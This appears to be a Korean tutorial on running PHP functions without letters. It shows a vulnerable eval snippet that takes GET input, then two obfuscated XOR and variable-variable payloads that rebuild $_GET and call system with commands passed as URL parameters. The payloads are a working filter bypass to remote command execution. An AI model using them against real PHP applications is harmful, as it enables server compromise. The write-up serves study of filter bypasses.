[PHP] Non alphanumeric code
TL;DR
PHP의 가변 함수와 bit 연산자로 alphabet 없이 함수를 실행 시킨다.
1. alphabet이 아닌 문자열을 변수에 넣는다.
2. bit연산자를 통해 원하는 문자열의 bit 값으로 바꾸어 준다.
3. 가변 함수를 사용해 함수를 실행 시킨다.
<?php if (isset($_GET['eval'])) { if (preg_match('/[a-z]/i', $_GET['eval'])) { die('No ALPHABET!!!!'); } else { eval('echo '.$_GET['eval'].';'); } }
조건
- php 파라미터가 eval에 들어가 있다.
- 다만 입력받는 파라미터가 알파벳을 허용하지 않는다.
- 내가 원하는 함수 (system, shell_exec ..) 를 실행 해야 한다.
방법 1
<?php $_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] );
?0=system&1=ls
이 기법의 장점은 어떠한 알파벳도 사용하지 않는다는 것이다.
2 ~ 3번 째 라인 실행후 $_의 변화
array(5) {
[0]=>
bool(true)
[1]=>
int(0)
[2]=>
string(8) "_Array57"
[3]=>
int(3)
[4]=>
string(1) "_"
}
이처럼 [4]번째 배열에 _GET문자열을 넣고 가변 함수로 사용하는 방식이다.
마지막 줄에 가장 잘 나와있는데
$_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] );
이를 풀어서 설명하면
$_=${$_[4]}
> $_=${"_GET"}
> $_=$_GET
$_[@-_]($_[@!+_] );
> $_[0]($_[1] );
> $_GET[0]($_GET[1]);
이와 같이 파라미터 0으로 넘어온 값을 함수명으로,
1로 넘어온 값을 인자로 하여 실행 하게 된다.
PS 기존의 마지막 줄 코드는
$_=$
$_[$__+ $__];$_[@-_]($_[@!+_] );
이었으나 PHP 7이상부터
$ //(개행)
"문자열"
문법을 더이상 지원 하지 않는다.
방법 2
<?php $_="{"; $_=($_^"<").($_^">;").($_^"/");?> <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>
?_=system&__=ls
1에서 아무런 문자열 _GET을 만들었다면, 2번째 방법에선 “{“의 bit연산을 하여 _GET이라는 문자열을 만드는 방식이다.
3번째 줄
$_=($_^"<").($_^">;").($_^"/");
에서 “{“의 bit연산을 해 ‘GET’이라는 문자열을 만든다.
4번째 줄
${'_'.$_}["_"](${'_'.$_}["__"]);
만들어지 ‘GET’에 ‘_’ 을 붙여 ‘_GET’으로 만들고 가변 함수를 사용해
파라미터 ‘_’를 함수명 ‘__’를 인자로 하여 실행한다.
비트 연산으로 _GET과 같은 문자열을 만들고 해당 문자열을 PHP의 문자열을 변수로 바꿔주는 특징을 활용해 알파벳 없이 가변 함수를 실행 할 수 있는 방법이였다.